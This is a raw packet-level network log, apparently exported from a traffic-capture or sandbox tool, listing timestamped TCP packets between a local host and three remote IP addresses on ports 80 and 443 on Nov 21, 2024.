Nov 21, 2024 03:09:23.267642021 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.268418074 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.268584967 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.268652916 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.269328117 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.269421101 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.269463062 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.270241022 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.270347118 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.270390987 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.271146059 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.271243095 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.271286964 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.272042036 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.272161007 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.272212029 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.272957087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.273066044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.273113012 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.273880005 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.274019003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.274063110 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.274791002 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.274907112 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.275688887 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.275736094 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.275798082 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.275840998 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.276599884 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.276724100 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.276772022 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.277519941 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.277626991 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.277687073 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.278434038 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.278543949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.278583050 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.279349089 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.279453993 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.279591084 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.280251026 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.280360937 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.280486107 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.281167984 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.281290054 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.281347036 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.282083988 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.282207966 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.282253981 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.282982111 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.283032894 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.283334970 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.283852100 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.283902884 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.284023046 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.284073114 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.284296989 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.284322977 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.284775972 CET	49845	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.284780979 CET	443	49845	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.284806013 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.284934044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.284984112 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.285696030 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.285808086 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.285861015 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.286617994 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.286716938 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.286762953 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.287513018 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.287635088 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.287681103 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.288420916 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.288563967 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.288609982 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.289381981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.289489985 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.289537907 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.290254116 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.290360928 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.290416956 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.290606022 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.291174889 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.291249037 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.293243885 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.313808918 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.314311028 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.314373016 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.314826012 CET	49846	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:23.314838886 CET	443	49846	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:23.358819962 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.358891010 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.358974934 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.359023094 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.360788107 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.360832930 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.360964060 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.361010075 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.366147995 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.366197109 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.367089033 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.367101908 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.367140055 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.369209051 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.369259119 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.369308949 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.369354010 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.373207092 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.373258114 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.373313904 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.373358965 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.377089024 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.377135992 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.377196074 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.377242088 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.381933928 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.381944895 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.381987095 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.385683060 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.385694027 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.385731936 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.388066053 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.388250113 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.388298035 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.388554096 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.388731003 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.389329910 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.389398098 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.389512062 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.389523983 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.389535904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.389542103 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.389569044 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.389605999 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.390408039 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.392913103 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.392977953 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.393075943 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.393121958 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.397087097 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.397098064 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.397144079 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.399183035 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.399229050 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.399353027 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.399400949 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.402735949 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.402805090 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.402894974 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.402894974 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.406394005 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.406436920 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.406536102 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.406660080 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.409894943 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.409940958 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.410154104 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.410203934 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.413496017 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.413568020 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.413593054 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.413671970 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.417959929 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.417972088 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.418111086 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.420809031 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.420820951 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.420890093 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.424328089 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.424398899 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.424556971 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.424622059 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.428033113 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.428123951 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.428180933 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.428338051 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.431545973 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.431632042 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.431703091 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.431770086 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.435214996 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.435225964 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.435317993 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.438699007 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.438791990 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.438793898 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.438884020 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.442332029 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.442384958 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.442435980 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.442481041 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.442842960 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.445913076 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.445964098 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.446114063 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.446156979 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.448430061 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.448589087 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.448641062 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.448791981 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.448900938 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.449630022 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.449681044 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.449682951 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.449826002 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.449873924 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.450006962 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.450167894 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.450211048 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.450647116 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.450695038 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.451545000 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.451596022 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.451641083 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.451683998 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.452428102 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.452548027 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.452589989 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.453041077 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.453119040 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.453139067 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.453196049 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.453330040 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.453380108 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.453424931 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.454257965 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.454396963 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.454435110 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.455184937 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.455291033 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.455334902 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.456077099 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.456178904 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.456223965 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.456638098 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.456707954 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.456737995 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.456788063 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.456953049 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.457093954 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.457134008 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.457950115 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.458035946 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.458082914 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.458821058 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.458923101 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.458965063 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.459723949 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.459840059 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.460235119 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.460279942 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.460341930 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.460371017 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.460371017 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.460617065 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.460722923 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.460762024 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.461539030 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.461653948 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.461697102 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.462440014 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.462563038 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.462615013 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.463349104 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.463465929 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.463547945 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.463820934 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.463891983 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.463918924 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.463974953 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.464265108 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.464359045 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.464467049 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.465188026 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.465221882 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.465256929 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.466079950 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.466198921 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.466263056 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.467009068 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.467122078 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.467194080 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.467413902 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.467489958 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.467510939 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.467575073 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.467931986 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.468024969 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.468101978 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.468816042 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.468909979 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.469026089 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.469746113 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.469865084 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.470021963 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.470643044 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.470743895 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.471009016 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.471064091 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.471120119 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.471148014 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.471157074 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.471543074 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.471654892 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.471698046 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.472480059 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.472570896 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.473037958 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.475060940 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.475162029 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.475178957 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.475192070 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.475204945 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.475218058 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.475223064 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.475231886 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.475263119 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.475287914 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.475296021 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.475296021 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.475367069 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.476083040 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.476752996 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.476804018 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.477551937 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.477721930 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.477768898 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.478296041 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.478307009 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.478317976 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.478328943 CET	80	49842	154.216.20.78	192.168.2.5
Nov 21, 2024 03:09:23.478352070 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.478409052 CET	49842	80	192.168.2.5	154.216.20.78
Nov 21, 2024 03:09:23.478812933 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.478955984 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.479005098 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.479965925 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.479978085 CET	80	49841	34.116.198.130	192.168.2.5
Nov 21, 2024 03:09:23.480026007 CET	49841	80	192.168.2.5	34.116.198.130
Nov 21, 2024 03:09:23.480732918 CET	80	49841	34.116.198.130	192.168.2.5
